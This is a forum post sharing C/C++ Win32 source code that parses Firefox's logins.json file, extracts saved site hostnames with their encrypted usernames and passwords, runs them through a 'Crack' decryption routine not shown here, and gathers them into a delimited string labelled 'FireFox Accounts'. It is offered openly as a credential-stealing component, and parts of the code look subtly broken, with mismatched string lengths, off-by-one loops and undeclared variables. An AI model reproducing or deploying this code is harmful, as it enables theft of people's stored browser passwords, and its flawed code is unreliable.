Jump to content
Jako

Logins.json parsing class

Recommended Posts

Posted
#define CHAR_PTR_SIZE sizeof(char*)
#define JSON_ENTRY_NAME 0
#define JSON_ENTRY_DATA 1

char* unwrap(char* in,char in_st, char in_end){
        char* tmp = in;
        int st = 0;
        int en = 0;
        
        if (*in == in_st){
            *in = 0x00;
            st = 1;
        }
        in += (lstrlenA(in + 1));
        if (*in == in_end){
            *in = 0x00;
            en = 1;
        }
        if (st && en){
            return tmp + 1;
        }
        else{
            return 0;
        }
        
    }
    int st_en(char in_char, int in_int){
        int out = in_int;
        if (in_char == '{' || in_char == '['){
            out++;
        }
        else if ((in_char == '}' || in_char == ']') && out){
            out--;
        }
        return out;
    }

    char* parse_logins(LPVOID in, int in_size,char* out, int out_size){
        int entrys = 0;
        int entrys_size = 0;
        char** pl = (char**)get_array((char*)in, 0, &entrys, &entrys_size);
        char** logins = NULL;
        char** login_info = NULL;
        lstrcpyA(out,"|");

        if (pl && entrys){
            for (int i = 0; i < entrys; i+= 2){

                if (myString::compare_A(pl[i], lstrlenA(pl[i]), "\"logins\"", 8)){
                    int l_entrys = 0;
                    int l_size = 0;
                    logins = (char**)get_array(pl[i + 1], 1, &l_entrys, &l_size);

                    if (logins && l_entrys){
                        
                        for (int j = 0; j <= l_entrys; j += 2){
                            int j_entrys = 0;
                            int j_size = 0;
                            login_info = (char**)get_array(logins[j], 0, &j_entrys,&j_size);

                            if (login_info && j_entrys){
                                for (int k = 0; k <= j_entrys; k += 2){

                                    if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"hostname\"", 8)){
                                        lstrcatA(out, unwrap(login_info[k + 1], '"', '"'));
                                        lstrcatA(out, ",");

                                    }
                                    else if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"encryptedUsername\"", 17)){
                                        lstrcatA(out, Crack(unwrap(login_info[k + 1], '"', '"')));
                                        lstrcatA(out, ",");
                                    }
                                    else if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"encryptedPassword\"", 17)){
                                        lstrcatA(out, Crack(unwrap(login_info[k + 1], '"', '"')));
                                        lstrcatA(out, "|");
                                    }
                                }
                                RtlSecureZeroMemory(login_info, j_size);
                                VirtualFree(login_info, j_size, MEM_RELEASE);
                            }

                        }
                        RtlSecureZeroMemory(logins, l_size);
                        VirtualFree(logins, l_size, MEM_RELEASE);
                    }
                }
            }
            RtlSecureZeroMemory(pl, entrys_size);
            VirtualFree(pl,entrys_size,MEM_RELEASE);
        }
        return out;
    }

    int comma_sep(char* in, LPVOID out, int out_size, int* scc, int* p_cnt){
        int in_size = lstrlenA(in);
        int _scc = *scc;                //this is the count for {} [] if scc is not 0 then do not include those commas
        int prop_cnt = 0;               //entry count in the array.
        char** out_arr = (char**)out;   //This is the pointer that we use the make the data into and array
        char* object = 0;               //another pointer to munipulate data.
        int out_s = 0;                  //the totol size of the array in bytes
        int cur_pos = 0;                //current possition withen the array

        for (int i = 0; i < in_size; i++){

            cur_pos = prop_cnt * 2;
            _scc = st_en(in[i], _scc);//make sure we dont enter a sub object/array

            //Detect first entry.
            if (prop_cnt == 0){
                prop_cnt = 1;
                if (out_arr){
                    out_arr[(prop_cnt - 1) + JSON_ENTRY_NAME] = in;//Set the first entry in array
                }
            }

            //Parse each entry
            out_s = cur_pos * CHAR_PTR_SIZE;

            if (!_scc && in[i] == ','){

                if (out_arr){
                    //add item to array
                    in[i] = 0x00;// over write the , with a NULL to create a valid string

                    if (out_s <= out_size){

                        //set array entry to after the ,
                        out_arr[cur_pos + JSON_ENTRY_NAME] = (char*)(in + i + 1);
                    
                    }  
                }
                //increment number of entrys int the JSON array.
                prop_cnt++;
            }
        }

        cur_pos = 0;
        
        if (out_arr){//if out_arr is false then we return the count of entrys for the array.

            for (int j = 0; j <= prop_cnt; j++){

                cur_pos = j * 2;
                object = out_arr[cur_pos + JSON_ENTRY_NAME];

                for (int i = 0; i < lstrlenA(object); i++){
                    _scc = st_en(object[i], _scc);

                    if (!_scc && object[i] == ':'){
                        //replace : with a null to create a valid string
                        object[i] = 0x00;
                        out_s = cur_pos * CHAR_PTR_SIZE;

                        //Set the data and the name.
                        if (out_s <= out_size){

                            //set the pointer to after the :
                            out_arr[cur_pos + JSON_ENTRY_DATA] = object + i + 1;
                        }
                        continue;
                    }
                    else if (!_scc && object[i] == ','){
                        //error checking
                        break;
                    }
                }
            }
        }
        *p_cnt = prop_cnt; // set the amount of entrys withen the JSON array
        *scc = _scc;        // return the number -> more for error checking
        cur_pos = prop_cnt * 2; // to calculate the total array size in bytes below
        return  cur_pos * CHAR_PTR_SIZE;
    }

    LPVOID get_array(char* in, int arr, int * entrys, int* out_size){
        char* object = in;
        int obj_size = NULL;
        int prop_cnt = NULL;
        int in_size = lstrlenA(in);
        LPVOID out_array = NULL;
        char** o_a = NULL;
        char start_char = '{';
        char end_char = '}';
        int start_char_cnt = 0;
        int sort = 0;
        int fist_param = 0;

        if (arr){
            start_char = '[';
            end_char = ']';
        }

        if (!in_size || in[0] != start_char){
            return 0;
        }
        else if (in[in_size - 1] == end_char){
            object = unwrap(in, start_char, end_char);
            if (object){

                *out_size = comma_sep(object, 0, 0, &start_char_cnt, &prop_cnt);
                if (*out_size){
                    //call virtualFree later on. MAKE SURE!
                    out_array = VirtualAlloc(0, *out_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

                    comma_sep(object, out_array, *out_size, &start_char_cnt, &prop_cnt);


                    if (out_array && *out_size){
                        *entrys = prop_cnt;
                        return out_array;
                    }
                }

            }
            return 0;
        }
    }

 

Implementation

char tBuff[5000];
RtlSecureZeroMemory(tBuff, 5000);

HANDLE lgns = CreateFileA("Path\\to\\logins.json", GENERIC_READ, FILE_SHARE_READ, 0, 3, FILE_ATTRIBUTE_NORMAL, 0);

if (lgns && ReadFile(lgns, lgns_buff, 5000, &bytes_read, 0)){
    parse_logins(lgns_buff, 5000, tBuff, 5000);
}
if (lgns){
    CloseHandle(lgns);
}

if (lstrlenA(tBuff)){
    OutputDebugStringW(L"FireFox Accounts ---->");
    lstrcatA(inChar,tBuff);
    OutputDebugStringA(inChar);
    return (DWORD)inChar;
}

 

myString::compareA() code

static int compare_A(char* small_ , int small_size, char* big_, int big_size){
        char* big_str = big_;
        char * small_str = small_;
        int small_str_size = lstrlenA(small_);
        int big_str_size = lstrlenA(big_);
        int i = 0;
        
        if (small_str_size > big_str_size){
            big_str = small_;
            small_str = big_;
        }

        if (small_size < small_str_size){
            small_str_size = small_size;
        }
        if (big_size < big_str_size){
            big_str_size = big_size;
        }


        for (i = 0;i < small_str_size; i++){
            if (small_str[i] != big_str[i]){
                break;
            }
        }
        if (i && i == (small_str_size)){
            return 1;
        }
        return 0;
    }

 

SOURCE

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...